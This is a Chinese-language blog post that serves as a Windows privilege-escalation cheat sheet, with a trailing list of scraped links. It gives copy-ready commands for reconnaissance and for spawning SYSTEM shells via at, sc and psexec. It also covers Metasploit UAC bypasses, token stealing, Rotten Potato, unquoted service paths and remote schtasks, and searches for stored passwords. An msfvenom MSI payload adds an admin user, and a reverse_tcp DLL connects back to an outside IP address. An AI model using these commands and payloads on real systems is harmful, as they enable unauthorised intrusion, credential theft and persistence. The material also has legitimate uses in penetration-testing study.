当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息。知己知彼,才百战不殆。

常规信息搜集

systeminfo 查询系统信息

hostname 主机名

net user 查看用户信息

netstat -ano|find "3389" 查看服务pid号

wmic os get caption 查看系统名

wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息

wmic product get name,version 查看当前安装程序

wmic service list brief 查询本机服务

wmic process list brief 查询本机进程

net share 查看本机共享列表

netsh firewall show config 查看防火墙配置

常见的杀软如下:

360sd.exe 360杀毒

360tray.exe 360实时保护

ZhuDongFangYu.exe 360主动防御

KSafeTray.exe 金山卫士

SafeDogUpdateCenter.exe 安全狗

McAfee McShield.exe McAfee

egui.exe NOD32

AVP.exe 卡巴斯基

avguard.exe 小红伞

bdagent.exe BitDefender

要搜集的信息大致如下几点:

机器的系统及其版本

机器的打补丁情况

机器安装的服务

机器的防火墙策略配置

机器的防护软件情况

提权简介

提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

1、系统内核溢出漏洞提权

#手工查找补丁情况

systeminfo查看补丁

wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息

#MSF后渗透扫描

post/windows/gather/enum_patches

利用(Vulmap、Wes、WindowsVulnScan)对比补丁进而进行提权

2、at命令利用

在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。

利用at命令,下面是at命令的百度解释

AT命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。

at 时间 /interactive cmd  其中里面的/interactive参数是开启交互模式

等待一分钟后

可以看到已经启动了一个system权限下的cmd窗口,虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的

为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程

然后再添加一个由system权限下开启的桌面进程

再点入看现在登入的账号是

提权成功!

或者利用msf生成木马在利用at启动

3、sc命令利用

适用于windows 7/8、03/08、12/16

因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权,下面是sc的百度解释。

SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

通俗理解就是sc可以启动一个服务,命令如下。

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口,如图。

我们继续回车

上面的命令。

可以看到服务已创建,但是刚创建的服务是默认关闭的,所以我们要开启这个服务,大家可以用图形化界面开启,但是在渗透过程中我们大多数拿到的都是命令行界面,所以这里我只介绍命令行操作了。

敲入sc start systemcmd,即可启动服务!

因为sc启动服务也是默认system权限的,所以我们启动的cmd窗口也是system权限!接下来的操作就可以和xp,2003一样了,这里就不在重复了。

4、psexec提权

适用版本:Win2003 & Win2008

微软官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

提权命令

psexec.exe -accepteula -s -i -d cmd.exe

开启的cmd窗口也是system权限

5、 绕过UAC提权

UAC简介

1.什么是用户帐户控制(UAC)?

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

2.UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被"提升权限",而不是以管理员身份运行的程序。

UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。 

绕过方法

一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限

如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,在通过getsystem进行提权

#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

6、令牌窃取

适用于2008之前版本

令牌简介

描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:

* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)

* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。

同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。

默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。

攻击方法

#首先提前获取一个session

meterpreter > use incognito

meterpreter > list_tokens -u

meterpreter > impersonate_token WIN-2HU3N1\\Administrator
#注意:这里是两个反斜杠\\

7、烂土豆提权

一般烂土豆需要来配合令牌窃取来进行提权

注意(重点:用烂土豆配合本地用户提权是成功不了的,必须是web权限或数据库权限)

  1. 单纯令牌窃取:Web权限或本地权限
  2. 配合烂土豆提权:web权限或数据库等权限

烂土豆提权原理

  1. 欺骗 "NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有"模仿安全令牌权限"的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。

攻击方法

meterpreter > upload /root/Rottenpotato/rottenpotato.exe

meterpreter > execute -HC -f rottenpotato.exe

meterpreter > use incognito

meterpreter > list_tokens -u

会发现令牌列表里面存在system的令牌,在用system的令牌进行提权

烂土豆版本

RottonPatato脚本:

  1. https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
  2. https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
  3. https://github.com/foxglovesec/RottenPotato

8、可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

MSF使用实战:

漏洞原理

这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

  1. 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
  2. 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

攻击方法

#寻找存在漏洞的服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

把我们后门文件重命名放在对应的文件路径下

在msf上进行监听,然后启动对应服务

接收到shell,且是system权限

#msf检测攻击模块
exploit/windows/local/unquoted_service_path

#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程

set AutoRunScript migrate -f

9、不安全服务权限配合计划任务schtasks或SC命令利用

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用覆盖原来的服务路径,进而启动我们的恶意程序。(一般用来administrator提权到system,因为普通用户用sc修改服务路径会没有权限,导致不能用该方法提权。)

accesschk.exe -uwcqv "administrators" * #检查administrators组的权限配置(这里自己创建了一个test服务)

sc config "test" binpath="C:\shell.exe" #用sc命令修改服务对应路径

sc start test #然后我们在msf监听,在启动该服务,就可以接收到我们的shell

当然还可以用schtasks来定时启动服务,schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。

#查看计算机的计划任务
schtasks /query /fo LIST /v

schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在远程主机运行"test"任务

schtasks /run /s 10.10.10.80 /i /tn "test"

执行完成之后就删除计划任务

schtasks /delete /s 10.10.10.80 /tn "test" /f

接着删除IPC$

net use \\10.10.10.80 /del /y

在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。

参数的意思:

/create 表示创建计划任务

/tn 表示任务名

/tr 指定运行的文件

/sc 是任务运行频率

/st 是执行时间

/s 指定远程机器名或 ip 地址

/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM

/i 表示立即运行

/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告

/delete 是删除任务。

10、Unattended Installs(自动安装)

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

Copy

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

Copy

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

Copy

#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加"Password",所以真正的密 码需要去掉最后的"Password"。

#msf模块
post/windows/gather/enum_unattend

11、 AlwaysInstallElevated

AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表项来识别此设置:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001

使用reg query命令查询是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统没这个漏洞,它将输出错误:

ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面将输出以下内容:

然后我们使用msfvenom生成msi文件,进行提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序

msf下的自动模块
exploit/windows/local/always_install_elevated

12、DLL劫持提权

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll

常用系统漏洞CVE

#Windows10

CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008

CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016

CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)

MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

Windows提权总结的更多相关文章

  1. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  2. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  3. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  4. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  7. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  8. windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)

    对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...

  9. Windows提权与开启远程连接

    1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...

  10. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. 根据xsd生成C#类

    var file = "1.xsd"; // Get the namespace for the schema. CodeNamespace ns = Processor.Proc ...

  2. Hbase之必要时取出请求的行(列族所有数据)

    import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.CellScanner; import org. ...

  3. Javascript与Flash通信全解析

    原文:https://www.imququ.com/post/39.html Flash已经提供了ExternalInterface接口与JavaScript通信,ExternalInterface有 ...

  4. curl 报错记录,mark

    今天在做接口开发的时候,使用curl post ,请求返回数据为 null ,很纳闷,然后使用 curl_errno 打印出来的错误代码为 28 ,curl_error($ch) 打印出来的是Oper ...

  5. TCP/IP的网际层协议——ICMP

    ICMP经常被认为是IP层的一个组成部分.它携带于IP数据包中,ICMP封装在IP数据包内部: IP首部 ICMP数据包 下面是一份差错报文的例子: 最右边的+或者-代表该报文是查询报文还是错误报文. ...

  6. Elasticsearch——起步

    1.下载 地址:https://www.elastic.co/downloads/elasticsearch 2.解压 unzip elasticsearch-1.7.0.zip 3.启动 mv el ...

  7. Android短信大全

    使用ListView实现点击条目跳转短信界面,并将内容传至短信页面: 代码如下:activity_main.xml: <?xml version="1.0" encoding ...

  8. java 各种数据类型判断为空

    一,基本数据类型 八种基本类型有默认值 http://www.runoob.com/java/java-basic-datatypes.html 二,String 对象 // 判断String为空 / ...

  9. 9--Python入门--模块

    模块简单来说是一个保存了python代码的文件很多python开源库就是模块 #例如我们调用科学计算库 numpy import numpy as np #as np是为了之后方便调用 from pa ...

  10. ACM学习&lt;3&gt;

    排序算法:      基本:冒泡,快速,选择,堆,插入,shell      多路并归: 1.冒泡排序:      思想:交换排序,通过相邻的交换来达到排序的目的.      流程:         ...